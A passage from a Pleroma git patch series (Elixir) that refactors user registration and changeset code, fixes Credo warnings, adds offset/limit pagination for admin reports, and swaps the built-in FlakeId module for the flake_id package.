|> put_change(:following_address, following) + case params[:info][:source_data] do + %{"followers" => followers, "following" => following} -> + changeset + |> put_change(:follower_address, followers) + |> put_change(:following_address, following) - _ -> - followers = User.ap_followers(%User{nickname: changes.changes[:nickname]}) - - changes - |> put_change(:follower_address, followers) - end - else - changes + _ -> + followers = ap_followers(%User{nickname: get_field(changeset, :nickname)}) + put_change(changeset, :follower_address, followers) end end @@ -308,43 +291,39 @@ defmodule Pleroma.User do opts[:need_confirmation] end - info_change = - User.Info.confirmation_changeset(%User.Info{}, need_confirmation: need_confirmation?) + struct + |> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation]) + |> validate_required([:name, :nickname, :password, :password_confirmation]) + |> validate_confirmation(:password) + |> unique_constraint(:email) + |> unique_constraint(:nickname) + |> validate_exclusion(:nickname, Pleroma.Config.get([User, :restricted_nicknames])) + |> validate_format(:nickname, local_nickname_regex()) + |> validate_format(:email, @email_regex) + |> validate_length(:bio, max: bio_limit) + |> validate_length(:name, min: 1, max: name_limit) + |> change_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?)) + |> maybe_validate_required_email(opts[:external]) + |> put_password_hash + |> put_ap_id() + |> unique_constraint(:ap_id) + |> put_following_and_follower_address() + end - changeset = - struct - |> cast(params, [:bio, :email, :name, :nickname, :password, :password_confirmation]) - |> validate_required([:name, :nickname, :password, :password_confirmation]) - |> validate_confirmation(:password) - |> unique_constraint(:email) - |> unique_constraint(:nickname) - |> validate_exclusion(:nickname, Pleroma.Config.get([User, :restricted_nicknames])) - |> validate_format(:nickname, local_nickname_regex()) - |> validate_format(:email, @email_regex) - |> validate_length(:bio, max: bio_limit) - |> validate_length(:name, min: 1, max: name_limit) - |> put_change(:info, info_change) + def maybe_validate_required_email(changeset, true), do: changeset + def maybe_validate_required_email(changeset, _), do: validate_required(changeset, [:email]) - changeset = - if opts[:external] do - changeset - else - validate_required(changeset, [:email]) - end + defp put_ap_id(changeset) do + ap_id = ap_id(%User{nickname: get_field(changeset, :nickname)}) + put_change(changeset, :ap_id, ap_id) + end - if changeset.valid? do - ap_id = User.ap_id(%User{nickname: changeset.changes[:nickname]}) - followers = User.ap_followers(%User{nickname: changeset.changes[:nickname]}) + defp put_following_and_follower_address(changeset) do + followers = ap_followers(%User{nickname: get_field(changeset, :nickname)}) - changeset - |> put_password_hash - |> put_change(:ap_id, ap_id) - |> unique_constraint(:ap_id) - |> put_change(:following, [followers]) - |> put_change(:follower_address, followers) - else - changeset - end + changeset + |> put_change(:following, [followers]) + |> put_change(:follower_address, followers) end defp autofollow_users(user) do @@ -359,9 +338,8 @@ defmodule Pleroma.User do @doc "Inserts provided changeset, performs post-registration actions (confirmation email sending etc.)" def register(%Ecto.Changeset{} = changeset) do - with {:ok, user} <- Repo.insert(changeset), - {:ok, user} <- post_register_action(user) do - {:ok, user} + with {:ok, user} <- Repo.insert(changeset) do + post_register_action(user) end end @@ -407,7 +385,7 @@ defmodule Pleroma.User do end def maybe_direct_follow(%User{} = follower, %User{} = followed) do - if not User.ap_enabled?(followed) do + if not ap_enabled?(followed) do follow(follower, followed) else {:ok, follower} @@ -440,9 +418,7 @@ defmodule Pleroma.User do {1, [follower]} = Repo.update_all(q, []) - Enum.each(followeds, fn followed -> - update_follower_count(followed) - end) + Enum.each(followeds, &update_follower_count/1) set_cache(follower) end @@ -552,8 +528,6 @@ defmodule Pleroma.User do def update_and_set_cache(changeset) do with {:ok, user} <- Repo.update(changeset, stale_error_field: :id) do set_cache(user) - else - e -> e end end @@ -590,9 +564,7 @@ defmodule Pleroma.User do key = "nickname:#{nickname}" Cachex.fetch!(:user_cache, key, fn -> - user_result = get_or_fetch_by_nickname(nickname) - - case user_result do + case get_or_fetch_by_nickname(nickname) do {:ok, user} -> {:commit, user} {:error, _error} -> {:ignore, nil} end @@ -632,13 +604,11 @@ defmodule Pleroma.User do def get_cached_user_info(user) do key = "user_info:#{user.id}" - Cachex.fetch!(:user_cache, key, fn _ -> user_info(user) end) + Cachex.fetch!(:user_cache, key, fn -> user_info(user) end) end def fetch_by_nickname(nickname) do - ap_try = ActivityPub.make_user_from_nickname(nickname) - - case ap_try do + case ActivityPub.make_user_from_nickname(nickname) do {:ok, user} -> {:ok, user} _ -> OStatus.make_user(nickname) end @@ -673,7 +643,8 @@ defmodule Pleroma.User do end def get_followers_query(user, page) do - from(u in get_followers_query(user, nil)) + user + |> get_followers_query(nil) |> User.Query.paginate(page, 20) end @@ -689,18 +660,17 @@ defmodule Pleroma.User do @spec get_external_followers(User.t(), pos_integer()) :: {:ok, list(User.t())} def get_external_followers(user, page \\ nil) do - q = - user - |> get_followers_query(page) - |> User.Query.build(%{external: true}) - - {:ok, Repo.all(q)} + user + |> get_followers_query(page) + |> User.Query.build(%{external: true}) + |> Repo.all() end def get_followers_ids(user, page \\ nil) do - q = get_followers_query(user, page) - - Repo.all(from(u in q, select: u.id)) + user + |> get_followers_query(page) + |> select([u], u.id) + |> Repo.all() end @spec get_friends_query(User.t(), pos_integer() | nil) :: Ecto.Query.t() @@ -709,7 +679,8 @@ defmodule Pleroma.User do end def get_friends_query(user, page) do - from(u in get_friends_query(user, nil)) + user + |> get_friends_query(nil) |> User.Query.paginate(page, 20) end @@ -723,9 +694,10 @@ defmodule Pleroma.User do end def get_friends_ids(user, page \\ nil) do - q = get_friends_query(user, page) - - Repo.all(from(u in q, select: u.id)) + user + |> get_friends_query(page) + |> select([u], u.id) + |> Repo.all() end @spec get_follow_requests(User.t()) :: {:ok, [User.t()]} @@ -889,12 +861,10 @@ defmodule Pleroma.User do end def subscribe(subscriber, %{ap_id: ap_id}) do - deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked]) - with %User{} = subscribed <- get_cached_by_ap_id(ap_id) do - blocked = blocks?(subscribed, subscriber) and deny_follow_blocked + deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked]) - if blocked do + if blocks?(subscribed, subscriber) and deny_follow_blocked do {:error, "Could not subscribe: #{subscribed.nickname} is blocking you"} else update_info(subscribed, &User.Info.add_to_subscribers(&1, subscriber.ap_id)) @@ -933,9 +903,7 @@ defmodule Pleroma.User do blocker end - if following?(blocked, blocker) do - unfollow(blocked, blocker) - end + if following?(blocked, blocker), do: unfollow(blocked, blocker) {:ok, blocker} = update_follower_count(blocker) @@ -1168,17 +1136,19 @@ defmodule Pleroma.User do end defp delete_activity(%{data: %{"type" => "Like"}} = activity) do - user = get_cached_by_ap_id(activity.actor) object = Object.normalize(activity) - ActivityPub.unlike(user, object) + activity.actor + |> get_cached_by_ap_id() + |> ActivityPub.unlike(object) end defp delete_activity(%{data: %{"type" => "Announce"}} = activity) do - user = get_cached_by_ap_id(activity.actor) object = Object.normalize(activity) - ActivityPub.unannounce(user, object) + activity.actor + |> get_cached_by_ap_id() + |> ActivityPub.unannounce(object) end defp delete_activity(_activity), do: "Doing nothing" @@ -1190,9 +1160,7 @@ defmodule Pleroma.User do def html_filter_policy(_), do: Pleroma.Config.get([:markup, :scrub_policy]) def fetch_by_ap_id(ap_id) do - ap_try = ActivityPub.make_user_from_ap_id(ap_id) - - case ap_try do + case ActivityPub.make_user_from_ap_id(ap_id) do {:ok, user} -> {:ok, user} @@ -1207,7 +1175,7 @@ defmodule Pleroma.User do def get_or_fetch_by_ap_id(ap_id) do user = get_cached_by_ap_id(ap_id) - if !is_nil(user) and !User.needs_update?(user) do + if !is_nil(user) and !needs_update?(user) do {:ok, user} else # Whether to fetch initial posts for the user (if it's a new user & the fetching is enabled) @@ -1227,19 +1195,20 @@ defmodule Pleroma.User do @doc "Creates an internal service actor by URI if missing. Optionally takes nickname for addressing." def get_or_create_service_actor_by_ap_id(uri, nickname \\ nil) do - if user = get_cached_by_ap_id(uri) do + with %User{} = user <- get_cached_by_ap_id(uri) do user else - changes = - %User{info: %User.Info{}} - |> cast(%{}, [:ap_id, :nickname, :local]) - |> put_change(:ap_id, uri) - |> put_change(:nickname, nickname) - |> put_change(:local, true) - |> put_change(:follower_address, uri <> "/followers") + _ -> + {:ok, user} = + %User{info: %User.Info{}} + |> cast(%{}, [:ap_id, :nickname, :local]) + |> put_change(:ap_id, uri) + |> put_change(:nickname, nickname) + |> put_change(:local, true) + |> put_change(:follower_address, uri <> "/followers") + |> Repo.insert() - {:ok, user} = Repo.insert(changes) - user + user end end @@ -1296,23 +1265,21 @@ defmodule Pleroma.User do # this is because we have synchronous follow APIs and need to simulate them # with an async handshake def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do - with %User{} = a <- User.get_cached_by_id(a.id), - %User{} = b <- User.get_cached_by_id(b.id) do + with %User{} = a <- get_cached_by_id(a.id), + %User{} = b <- get_cached_by_id(b.id) do {:ok, a, b} else - _e -> - :error + nil -> :error end end def wait_and_refresh(timeout, %User{} = a, %User{} = b) do with :ok <- :timer.sleep(timeout), - %User{} = a <- User.get_cached_by_id(a.id), - %User{} = b <- User.get_cached_by_id(b.id) do + %User{} = a <- get_cached_by_id(a.id), + %User{} = b <- get_cached_by_id(b.id) do {:ok, a, b} else - _e -> - :error + nil -> :error end end @@ -1374,7 +1341,7 @@ defmodule Pleroma.User do defp normalize_tags(tags) do [tags] |> List.flatten() - |> Enum.map(&String.downcase(&1)) + |> Enum.map(&String.downcase/1) end defp local_nickname_regex do diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 2f12ad43a..40eebe2aa 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -309,8 +309,7 @@ defmodule Pleroma.Web.CommonAPI do with {:ok, user} <- User.update_info(user, &User.Info.set_source_data(&1, source_data)) do user else - _e -> - user + _e -> user end ActivityPub.update(%{ @@ -338,11 +337,8 @@ defmodule Pleroma.Web.CommonAPI do {:ok, _user} <- User.update_info(user, &User.Info.add_pinnned_activity(&1, activity)) do {:ok, activity} else - %{errors: [pinned_activities: {err, _}]} -> - {:error, err} - - _ -> - {:error, dgettext("errors", "Could not pin")} + {:error, %{changes: %{info: %{errors: [pinned_activities: {err, _}]}}}} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not pin")} end end @@ -351,11 +347,8 @@ defmodule Pleroma.Web.CommonAPI do {:ok, _user} <- User.update_info(user, &User.Info.remove_pinnned_activity(&1, activity)) do {:ok, activity} else - %{errors: [pinned_activities: {err, _}]} -> - {:error, err} - - _ -> - {:error, dgettext("errors", "Could not unpin")} + %{errors: [pinned_activities: {err, _}]} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not unpin")} end end @@ -450,17 +443,13 @@ defmodule Pleroma.Web.CommonAPI do defp set_visibility(activity, _), do: {:ok, activity} - def hide_reblogs(user, muted) do - ap_id = muted.ap_id - + def hide_reblogs(user, %{ap_id: ap_id} = _muted) do if ap_id not in user.info.muted_reblogs do User.update_info(user, &User.Info.add_reblog_mute(&1, ap_id)) end end - def show_reblogs(user, muted) do - ap_id = muted.ap_id - + def show_reblogs(user, %{ap_id: ap_id} = _muted) do if ap_id in user.info.muted_reblogs do User.update_info(user, &User.Info.remove_reblog_mute(&1, ap_id)) end diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index 27f3664e0..aa06e2630 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -15,14 +15,11 @@ defmodule Pleroma.Web.TwitterAPI.Controller do action_fallback(:errors) def confirm_email(conn, %{"user_id" => uid, "token" => token}) do - true <- user.local, - true <- user.info.confirmation_pending, - true <- user.info.confirmation_token == token, - conn - |> redirect(to: "/") with %User{info: info} = user <- User.get_cached_by_id(uid), + true <- user.local and info.confirmation_pending and info.confirmation_token == token, {:ok, _} <- User.update_info(user, &User.Info.confirmation_changeset(&1, need_confirmation: false)) do + redirect(conn, to: "/") end end From 035f22f7849815c5f77a734c56f409c0f08ac853 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 24 Sep 2019 14:49:02 +0700 Subject: [PATCH 16/33] Fix Credo warnings --- .../web/mastodon_api/controllers/mastodon_api_controller.ex | 2 +- lib/pleroma/web/twitter_api/twitter_api_controller.ex | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 8a5287079..873ef20bc 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -1348,7 +1348,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do - with {:ok, _user} <- User.update_info(user, &User.Info.mastodon_settings_update(&1, settings)) do + with {:ok, _} <- User.update_info(user, &User.Info.mastodon_settings_update(&1, settings)) do json(conn, %{}) else e -> diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index aa06e2630..5024ac70d 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -15,10 +15,11 @@ defmodule Pleroma.Web.TwitterAPI.Controller do action_fallback(:errors) def confirm_email(conn, %{"user_id" => uid, "token" => token}) do + new_info = [need_confirmation: false] + with %User{info: info} = user <- User.get_cached_by_id(uid), true <- user.local and info.confirmation_pending and info.confirmation_token == token, - {:ok, _} <- - User.update_info(user, &User.Info.confirmation_changeset(&1, need_confirmation: false)) do + {:ok, _} <- User.update_info(user, &User.Info.confirmation_changeset(&1, new_info)) do redirect(conn, to: "/") end end From 60cbea5bb2e70d6a843d6f595a3c1cfe9cc78d1e Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Wed, 25 Sep 2019 01:25:42 +0300 Subject: [PATCH 17/33] Allow activities pagination via limit/offset --- lib/pleroma/pagination.ex | 1 + lib/pleroma/web/activity_pub/activity_pub.ex | 17 +++++++++++------ .../web/admin_api/admin_api_controller.ex | 6 +++++- test/web/activity_pub/activity_pub_test.exs | 15 +++++++++++++++ 4 files changed, 32 insertions(+), 7 deletions(-) diff --git a/lib/pleroma/pagination.ex b/lib/pleroma/pagination.ex index b55379c4a..9d279fba7 100644 --- a/lib/pleroma/pagination.ex +++ b/lib/pleroma/pagination.ex @@ -64,6 +64,7 @@ defmodule Pleroma.Pagination do def paginate(query, options, :offset) do query + |> restrict(:order, options) |> restrict(:offset, options) |> restrict(:limit, options) end diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 1cf8b6151..bb0a5ca73 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -519,13 +519,13 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do |> Repo.one() end - def fetch_public_activities(opts \\ %{}) do + def fetch_public_activities(opts \\ %{}, pagination \\ :keyset) do opts = Map.drop(opts, ["user"]) [Pleroma.Constants.as_public()] |> fetch_activities_query(opts) |> restrict_unlisted() - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() end @@ -918,11 +918,11 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do |> exclude_poll_votes(opts) end - def fetch_activities(recipients, opts \\ %{}) do + def fetch_activities(recipients, opts \\ %{}, pagination \\ :keyset) do list_memberships = Pleroma.List.memberships(opts["user"]) fetch_activities_query(recipients ++ list_memberships, opts) - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() |> maybe_update_cc(list_memberships, opts["user"]) end @@ -953,10 +953,15 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do ) end - def fetch_activities_bounded(recipients, recipients_with_public, opts \\ %{}) do + def fetch_activities_bounded( + recipients, + recipients_with_public, + opts \\ %{}, + pagination \\ :keyset + ) do fetch_activities_query([], opts) |> fetch_activities_bounded_query(recipients, recipients_with_public) - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() end diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 0d1db8fa0..6761c32b9 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -463,13 +463,17 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do end def list_reports(conn, params) do + {page, page_size} = page_params(params) + params = params |> Map.put("type", "Flag") |> Map.put("skip_preload", true) |> Map.put("total", true) + |> Map.put("limit", page_size) + |> Map.put("offset", (page - 1) * page_size) - reports = ActivityPub.fetch_activities([], params) + reports = ActivityPub.fetch_activities([], params, :offset) conn |> put_view(ReportView) diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 4100108a5..f28fd6871 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -647,6 +647,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert last == last_expected end + test "paginates via offset/limit" do + _first_activities = ActivityBuilder.insert_list(10) + activities = ActivityBuilder.insert_list(10) + _later_activities = ActivityBuilder.insert_list(10) + first_expected = List.first(activities) + + activities = + ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset) + + first = List.first(activities) + + assert length(activities) == 20 + assert first == first_expected + end + test "doesn't return reblogs for users for whom reblogs have been muted" do activity = insert(:note_activity) user = insert(:user) From b5dfe83433e092a007f85ed9c0ffe5a47dbfcccd Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Wed, 18 Sep 2019 21:54:31 +0700 Subject: [PATCH 18/33] Replace `Pleroma.FlakeId` with `flake_id` hex package --- lib/pleroma/activity.ex | 2 +- lib/pleroma/activity_expiration.ex | 3 +- lib/pleroma/application.ex | 1 - lib/pleroma/bookmark.ex | 13 +- lib/pleroma/conversation/participation.ex | 4 +- .../participation_recipient_ship.ex | 2 +- lib/pleroma/delivery.ex | 3 +- lib/pleroma/filter.ex | 2 +- lib/pleroma/flake_id.ex | 182 ------------------ lib/pleroma/list.ex | 2 +- lib/pleroma/notification.ex | 4 +- lib/pleroma/password_reset_token.ex | 2 +- lib/pleroma/registration.ex | 4 +- lib/pleroma/scheduled_activity.ex | 2 +- lib/pleroma/thread_mute.ex | 4 +- lib/pleroma/user.ex | 4 +- lib/pleroma/web/activity_pub/activity_pub.ex | 2 +- lib/pleroma/web/common_api/utils.ex | 2 +- lib/pleroma/web/oauth/authorization.ex | 2 +- lib/pleroma/web/oauth/token.ex | 2 +- lib/pleroma/web/push/subscription.ex | 2 +- .../web/websub/websub_client_subscription.ex | 2 +- mix.exs | 1 + mix.lock | 3 + test/flake_id_test.exs | 47 ----- 25 files changed, 35 insertions(+), 262 deletions(-) delete mode 100644 lib/pleroma/flake_id.ex delete mode 100644 test/flake_id_test.exs diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex index ec558168a..2c04a26f9 100644 --- a/lib/pleroma/activity.ex +++ b/lib/pleroma/activity.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Activity do @type t :: %__MODULE__{} @type actor :: String.t() - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} # https://github.com/tootsuite/mastodon/blob/master/app/models/notification.rb#L19 @mastodon_notification_types %{ diff --git a/lib/pleroma/activity_expiration.ex b/lib/pleroma/activity_expiration.ex index bf57abca4..7ea5c48ca 100644 --- a/lib/pleroma/activity_expiration.ex +++ b/lib/pleroma/activity_expiration.ex @@ -7,7 +7,6 @@ defmodule Pleroma.ActivityExpiration do alias Pleroma.Activity alias Pleroma.ActivityExpiration - alias Pleroma.FlakeId alias Pleroma.Repo import Ecto.Changeset @@ -17,7 +16,7 @@ defmodule Pleroma.ActivityExpiration do @min_activity_lifetime :timer.hours(1) schema "activity_expirations" do - belongs_to(:activity, Activity, type: FlakeId) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) field(:scheduled_at, :naive_datetime) end diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index dabce771d..e805cefa0 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -35,7 +35,6 @@ defmodule Pleroma.Application do Pleroma.Config.TransferTask, Pleroma.Emoji, Pleroma.Captcha, - Pleroma.FlakeId, Pleroma.Daemons.ScheduledActivityDaemon, Pleroma.Daemons.ActivityExpirationDaemon ] ++ diff --git a/lib/pleroma/bookmark.ex b/lib/pleroma/bookmark.ex index d976f949c..221a94f34 100644 --- a/lib/pleroma/bookmark.ex +++ b/lib/pleroma/bookmark.ex @@ -10,20 +10,20 @@ defmodule Pleroma.Bookmark do alias Pleroma.Activity alias Pleroma.Bookmark - alias Pleroma.FlakeId alias Pleroma.Repo alias Pleroma.User @type t :: %__MODULE__{} schema "bookmarks" do - belongs_to(:user, User, type: FlakeId) - belongs_to(:activity, Activity, type: FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) timestamps() end - @spec create(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()} + @spec create(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) :: + {:ok, Bookmark.t()} | {:error, Changeset.t()} def create(user_id, activity_id) do attrs = %{ user_id: user_id, @@ -37,7 +37,7 @@ defmodule Pleroma.Bookmark do |> Repo.insert() end - @spec for_user_query(FlakeId.t()) :: Ecto.Query.t() + @spec for_user_query(FlakeId.Ecto.CompatType.t()) :: Ecto.Query.t() def for_user_query(user_id) do Bookmark |> where(user_id: ^user_id) @@ -52,7 +52,8 @@ defmodule Pleroma.Bookmark do |> Repo.one() end - @spec destroy(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()} + @spec destroy(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) :: + {:ok, Bookmark.t()} | {:error, Changeset.t()} def destroy(user_id, activity_id) do from(b in Bookmark, where: b.user_id == ^user_id, diff --git a/lib/pleroma/conversation/participation.ex b/lib/pleroma/conversation/participation.ex index ea5b9fe17..e946f6de2 100644 --- a/lib/pleroma/conversation/participation.ex +++ b/lib/pleroma/conversation/participation.ex @@ -13,10 +13,10 @@ defmodule Pleroma.Conversation.Participation do import Ecto.Query schema "conversation_participations" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:conversation, Conversation) field(:read, :boolean, default: false) - field(:last_activity_id, Pleroma.FlakeId, virtual: true) + field(:last_activity_id, FlakeId.Ecto.CompatType, virtual: true) has_many(:recipient_ships, RecipientShip) has_many(:recipients, through: [:recipient_ships, :user]) diff --git a/lib/pleroma/conversation/participation_recipient_ship.ex b/lib/pleroma/conversation/participation_recipient_ship.ex index 932cbd04c..e3d158cbc 100644 --- a/lib/pleroma/conversation/participation_recipient_ship.ex +++ b/lib/pleroma/conversation/participation_recipient_ship.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Conversation.Participation.RecipientShip do import Ecto.Changeset schema "conversation_participation_recipient_ships" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:participation, Participation) end diff --git a/lib/pleroma/delivery.ex b/lib/pleroma/delivery.ex index 29a1e5a77..1d586a252 100644 --- a/lib/pleroma/delivery.ex +++ b/lib/pleroma/delivery.ex @@ -6,7 +6,6 @@ defmodule Pleroma.Delivery do use Ecto.Schema alias Pleroma.Delivery - alias Pleroma.FlakeId alias Pleroma.Object alias Pleroma.Repo alias Pleroma.User @@ -16,7 +15,7 @@ defmodule Pleroma.Delivery do import Ecto.Query schema "deliveries" do - belongs_to(:user, User, type: FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:object, Object) end diff --git a/lib/pleroma/filter.ex b/lib/pleroma/filter.ex index 90457dadf..c87141582 100644 --- a/lib/pleroma/filter.ex +++ b/lib/pleroma/filter.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Filter do alias Pleroma.User schema "filters" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:filter_id, :integer) field(:hide, :boolean, default: false) field(:whole_word, :boolean, default: true) diff --git a/lib/pleroma/flake_id.ex b/lib/pleroma/flake_id.ex deleted file mode 100644 index 042cf8659..000000000 --- a/lib/pleroma/flake_id.ex +++ /dev/null @@ -1,182 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeId do - @moduledoc """ - Flake is a decentralized, k-ordered id generation service. - - Adapted from: - - * [flaky](https://github.com/nirvana/flaky), released under the terms of the Truly Free License, - * [Flake](https://github.com/boundary/flake), Copyright 2012, Boundary, Apache License, Version 2.0 - """ - - @type t :: binary - - use Ecto.Type - use GenServer - require Logger - alias __MODULE__ - import Kernel, except: [to_string: 1] - - defstruct node: nil, time: 0, sq: 0 - - @doc "Converts a binary Flake to a String" - def to_string(<<0::integer-size(64), id::integer-size(64)>>) do - Kernel.to_string(id) - end - - def to_string(<<_::integer-size(64), _::integer-size(48), _::integer-size(16)>> = flake) do - encode_base62(flake) - end - - def to_string(s), do: s - - def from_string(int) when is_integer(int) do - from_string(Kernel.to_string(int)) - end - - for i <- [-1, 0] do - def from_string(unquote(i)), do: <<0::integer-size(128)>> - def from_string(unquote(Kernel.to_string(i))), do: <<0::integer-size(128)>> - end - - def from_string(<<_::integer-size(128)>> = flake), do: flake - - def from_string(string) when is_binary(string) and byte_size(string) < 18 do - case Integer.parse(string) do - {id, ""} -> <<0::integer-size(64), id::integer-size(64)>> - _ -> nil - end - end - - def from_string(string) do - string |> decode_base62 |> from_integer - end - - def to_integer(<>), do: integer - - def from_integer(integer) do - <<_time::integer-size(64), _node::integer-size(48), _seq::integer-size(16)>> = - <> - end - - @doc "Generates a Flake" - @spec get :: binary - def get, do: to_string(:gen_server.call(:flake, :get)) - - # checks that ID is is valid FlakeID - # - @spec is_flake_id?(String.t()) :: boolean - def is_flake_id?(id), do: is_flake_id?(String.to_charlist(id), true) - defp is_flake_id?([c | cs], true) when c >= ?0 and c <= ?9, do: is_flake_id?(cs, true) - defp is_flake_id?([c | cs], true) when c >= ?A and c <= ?Z, do: is_flake_id?(cs, true) - defp is_flake_id?([c | cs], true) when c >= ?a and c <= ?z, do: is_flake_id?(cs, true) - defp is_flake_id?([], true), do: true - defp is_flake_id?(_, _), do: false - - # -- Ecto.Type API - @impl Ecto.Type - def type, do: :uuid - - @impl Ecto.Type - def cast(value) do - {:ok, FlakeId.to_string(value)} - end - - @impl Ecto.Type - def load(value) do - {:ok, FlakeId.to_string(value)} - end - - @impl Ecto.Type - def dump(value) do - {:ok, FlakeId.from_string(value)} - end - - def autogenerate, do: get() - - # -- GenServer API - def start_link(_) do - :gen_server.start_link({:local, :flake}, __MODULE__, [], []) - end - - @impl GenServer - def init([]) do - {:ok, %FlakeId{node: worker_id(), time: time()}} - end - - @impl GenServer - def handle_call(:get, _from, state) do - {flake, new_state} = get(time(), state) - {:reply, flake, new_state} - end - - # Matches when the calling time is the same as the state time. Incr. sq - defp get(time, %FlakeId{time: time, node: node, sq: seq}) do - new_state = %FlakeId{time: time, node: node, sq: seq + 1} - {gen_flake(new_state), new_state} - end - - # Matches when the times are different, reset sq - defp get(newtime, %FlakeId{time: time, node: node}) when newtime > time do - new_state = %FlakeId{time: newtime, node: node, sq: 0} - {gen_flake(new_state), new_state} - end - - # Error when clock is running backwards - defp get(newtime, %FlakeId{time: time}) when newtime < time do - {:error, :clock_running_backwards} - end - - defp gen_flake(%FlakeId{time: time, node: node, sq: seq}) do - <> - end - - defp nthchar_base62(n) when n <= 9, do: ?0 + n - defp nthchar_base62(n) when n <= 35, do: ?A + n - 10 - defp nthchar_base62(n), do: ?a + n - 36 - - defp encode_base62(<>) do - integer - |> encode_base62([]) - |> List.to_string() - end - - defp encode_base62(int, acc) when int < 0, do: encode_base62(-int, acc) - defp encode_base62(int, []) when int == 0, do: '0' - defp encode_base62(int, acc) when int == 0, do: acc - - defp encode_base62(int, acc) do - r = rem(int, 62) - id = div(int, 62) - acc = [nthchar_base62(r) | acc] - encode_base62(id, acc) - end - - defp decode_base62(s) do - decode_base62(String.to_charlist(s), 0) - end - - defp decode_base62([c | cs], acc) when c >= ?0 and c <= ?9, - do: decode_base62(cs, 62 * acc + (c - ?0)) - - defp decode_base62([c | cs], acc) when c >= ?A and c <= ?Z, - do: decode_base62(cs, 62 * acc + (c - ?A + 10)) - - defp decode_base62([c | cs], acc) when c >= ?a and c <= ?z, - do: decode_base62(cs, 62 * acc + (c - ?a + 36)) - - defp decode_base62([], acc), do: acc - - defp time do - {mega_seconds, seconds, micro_seconds} = :erlang.timestamp() - 1_000_000_000 * mega_seconds + seconds * 1000 + :erlang.trunc(micro_seconds / 1000) - end - - defp worker_id do - <> = :crypto.strong_rand_bytes(6) - worker - end -end diff --git a/lib/pleroma/list.ex b/lib/pleroma/list.ex index c572380c2..c5db1cb62 100644 --- a/lib/pleroma/list.ex +++ b/lib/pleroma/list.ex @@ -13,7 +13,7 @@ defmodule Pleroma.List do alias Pleroma.User schema 